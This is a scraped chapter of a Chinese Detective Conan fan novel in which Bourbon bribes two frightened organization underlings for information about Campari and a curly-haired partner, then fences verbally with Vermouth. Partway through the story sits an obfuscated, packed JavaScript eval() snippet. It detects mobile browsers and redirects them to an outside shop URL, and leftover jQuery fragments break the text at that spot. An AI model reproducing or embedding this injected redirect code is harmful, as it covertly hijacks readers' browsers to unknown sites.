文趣网 > 都市小说 > [柯南]卧底如何活下去? > 29.波本的祈愿
    组织据点,地下酒吧。

    一只酒杯被狠狠摔在桌面上,震得旁边的烟灰缸都骤然弹起。

    手臂上缠着厚厚绷带的男人一屁股坐进卡座,脸上的横肉气得直抖,嗓门哑得像是刚出生就开始抽烟,连旁边桌的人都忍不住看了一眼。

    “他大爷的,居然真让他们跑了!到手的货就这么飞了,老子还折了两个兄弟!”

    他身侧的同伴窝在卡座角落里,腿上也缠着一层纱布,此刻脸色发白,仿佛没听见暴怒的男人在说什么,只是直愣愣地盯着桌上的酒杯发呆。

    沙哑男骂骂咧咧半天,没得到半点回应,火气更大了,他猛的探身,狠狠戳了一下同伴受伤的大腿。

    “喂!你到底在想啥呢?被人打傻了?你要死了?”

    尖锐的痛感瞬间击穿全身,同伴倒抽一口冷气,身体骤然绷紧,如同遭了电击般弹坐起来。

    他没有回答沙哑男的问题,眼里翻涌着恐惧,用尖锐的嗓音喊道:“我想起来了……我想起来了……下午那个眼熟的男人,是…是…金巴利!”

    沙哑男原本还带着怒气的脸瞬息褪尽血色,惨白得如同一张白纸。

    他下意识压低了声音,死死攥着同伴的袖子:“……什么鬼!不可能!那怎么可能是金巴利?他不是出任务去了吗?”

    “我当年见过他!就是他!绝对是他!”同伴的声音越来越尖,崩溃的歇斯底里着,“我不会认错的,真的是他啊!”

    冷汗顺着沙哑男人的额角层层渗出,他松开对方的袖子,低头看向自己骨折缠带的手掌,又想起另外几个重伤卧床、生死未卜的同伙,牙齿控制不住地剧烈打颤。

    如果真是组织成员,那他们能活着回来已经算是烧高香了,而且……

    “完了,这次真的完了。”

    男人胡乱抓起桌上的酒杯,仰头猛灌一口,辛辣的烈酒顺着下颌淌进领口,他也顾不上擦,只焦急的拽着头发:“金巴利是琴酒的人!我们不仅打了他,还口出狂言要把他卖去研究院……这事要是传到琴酒耳朵里……我们就……”

    两个人瘫在卡座里,面面相觑,瞳孔里倒映着彼此惨白的脸,只能不停在心中祈求金巴利并不记得他俩的脸。

    死寂的氛围里,身后忽然传来一道笑声。

    那笑声很轻,像是听到了什么有趣的事情,但在这种气氛下,它比枪声更让人毛骨悚然。

    “金巴利?”

    沙哑男浑身一僵,猛地回头。

    金发深肤的男人不知何时悄无声息立在卡座后方,那双紫色眼眸弯弯的看着他们,眼底却没有半分温度。

    是波本,朗姆的手下。

    沙哑男微微松懈下来,但仍然往后缩了缩身子,强行压下心虚,假装疑惑:“您、您说什么?”

    波本并未接话,手持酒杯缓步绕过卡座,落座在他俩对面的沙发上。

    他姿态慵懒,在桌面轻转着杯身,琥珀色酒液在昏暗灯光下打着旋,那双紫灰色的眼眸淡淡扫过两人,像在审视两只困入牢笼、无处可逃的蝼蚁。

    “怎么,你们刚才不是在聊金巴利吗?”

    沙哑男和同伙飞快对视一眼,交换了一个短暂的眼神后,同伙按住自己的嘴。

    沙哑男回头对着波本摆手掩饰,干硬的笑道:“没有没有,波本先生,我们哪敢谈论代号成员!方才只是在吐槽,刚点的酒不太好喝。”

    “是吗?”

    波本放下酒杯,怀中掏出一张不记名的银行卡,轻轻推至俩人面前。

    卡片整片纯黑,是组织内部流通、面额不菲的硬通货。

    金发男人指尖轻敲卡片,轻柔的蛊惑着二人:“你们怎么这么紧张呢?这里不是只有我们三人吗?我只是单纯好奇,想问几句小事,不会有任何人知晓。”

    沙哑男死死盯着桌上的银行卡,喉结上下滚动,不停吞咽着口水。他们俩个只是组织的外部人员,平时除了清理,最多就是去替研究院寻找合适的身体,能得到的报酬并不多,此时此刻面对这一张卡,连沙哑男身侧原本警惕的男人,都忍不住将双眼贪婪的黏在卡片上。

    沙哑男在膝盖上搓了俩下掌心,迟疑片刻,终是快速伸手攥住卡片,飞快揣进口袋里。

    他清了清沙哑干涩的嗓子,警惕地环顾四周,确认无人留意这边,才微微前倾身体,压低声音讨好:“您想问什么?我俩只是在下面跑腿的,连代号成员的边都摸不到,知道的东西可不多。

    “说说看,金巴利是个怎样的人?”波本扫了一眼他的同伙,虽然知道明显是这个男人知道的更多,但还是托着下巴笑眯眯地开口。

    沙哑男愣了一下,这确实不是什么大的问题。

    “这个我咋知道……嗯,我就见过他一面。”沙哑男挠了挠后脑勺,似乎在回忆下午那个昏暗厂房里的画面,尽量不给波本提供太详细的信息,“他长得挺漂亮的,就那个……怎么说,就是那种……”

    桌下,同伴骤然狠狠掐在沙哑男骨折的手背上。

    沙哑男疼得倒吸一口凉气,这才反应过来自己刚才说的话有多找死,居然鬼迷心窍说金巴利长得漂亮,他是嫌自己命太长吗。

    波本唇角的笑意没变,只是眼底掠过一丝暗光。

    他垂下眼,目光扫过沙哑男缠着绷带的手和他同伴腿上有些染血的纱布,问出了第二个问题。

    “漂亮的男人啊,你们在哪见到他的?这些伤是他干的吗?”

    “在哪不能告诉你……”沙哑男连忙摇头,语气愈发谨慎,“我们,我们贸然冲撞了他的任务,被金巴利,还有一个黑头发的卷毛Alpha教训了一顿。”

    卷毛、Alpha?

    波本握着杯子的手指骤然收紧,瞳孔微微收缩,但对面的俩人并没有注意到,而是在互相询问。

    “我从没见过那个长得很凶的卷毛,他也是代号成员吗?”一旁的同伴得了眼前的好处,对于未来死亡的恐惧褪去大半,反倒生出几分打探八卦的好奇心

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634750|205745||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来。

    沙哑男咬了咬牙,满脸不屑:“这谁知道,那男人凶得要死,下手比金巴利还狠。不过金巴利挺护着他的,你当时倒地了没看见,那卷毛差点被现在还躺病床上那个从后面捅了,金巴利直接飞上去替对方挡了。”

    波本静静听着,抬手将杯中剩余的酒水一饮而尽,借着杯沿遮挡住大半面容。

    下一瞬,一道慵懒婉转的女声悠悠传来,暧昧缱绻的语调,比波本更胜一筹,让人不经头皮发麻。

    “嗯?这是在聊什么呢?我怎么会听见一个熟悉的人呢?”

    沙哑男和同伙再度回头,只见贝尔摩德缓步走来,一手端着猩红的红酒杯,另一只指间夹着一支细长的女士烟,唇角挂着惯有的、捉摸不透的笑意。

    她的目光在沙哑男和其同伴身上慢慢滑过,俩人立刻被吓得从座位弹起。

    什么鬼?今天是进了代号成员窝了吗!?一下遇到三个,一个比一个厉害,再不跑等会琴酒都来了吧!

    沙哑男和同伴连滚带爬地站到一边,干笑都挤不出来:“哈哈,哈哈,俩位大人,您们慢慢聊,我们先走一步!”

    二人相互搀扶着,一瘸一拐、狼狈不堪地仓皇逃离,临走前,沙哑男还下意识回头,惴惴不安地瞥了一眼静坐的波本。

    贝尔摩德没有理会这俩只小虫子,无趣的收回目光,落座在波本对面。

    “我亲爱的波本,你似乎很关注金巴利呢?”

    波本坦然摊手,脸上挂着无奈的笑容,低叹道:“哎呀,没办法,谁让他是琴酒的搭档呢,作为情报分子,我难免会多几分兴趣。

    “是这样吗?”

    贝尔摩德取下唇间的烟,吐出一缕缭绕的烟气,隔着朦胧烟雾凝视着金发男人的双眼,随后伸手轻点对方心口,意味深长道:“那你可要小心……金巴利的监护人,可能会让你没命打探他家小狗的情报呢。”

    监护人?小狗?

    波本挑了下眉,抬手拨开贝尔摩德抵在身前的手,脑海中回忆起方才沙哑男的描述,低低嗤笑一声,带着几分探究。

    “哦?那到底是搭档、监护人,还是……情人呢?”

    贝尔摩德不可置信地看了他一眼,遮掩般低笑地捋着发丝,把烟按灭在烟灰缸里。

    “你居然这样想?不过……这谁知道呢?”

    波本没有回复她的拐弯抹角,贝尔摩德也没在意。

    片刻后,似乎是觉得这场僵持没什么意思,她干脆起身离开,途经波本身侧时微微俯身,轻声低笑道:“波本,虽然我不怎么清楚,但我倒很期待你拿这话去问问琴酒。”

    贝尔摩德离开了。

    波本抬手给自己满上一杯酒,却迟迟没有饮下,琥珀色酒液映出男人眼底翻涌的波澜。

    虽然知道不可能,那个家伙此刻应该在拆着炸弹逛着车展,但他心中仍旧有些不安。

    降谷零缓缓闭上双眼,在心中默默念叨——

    千万别是你,松田阵平。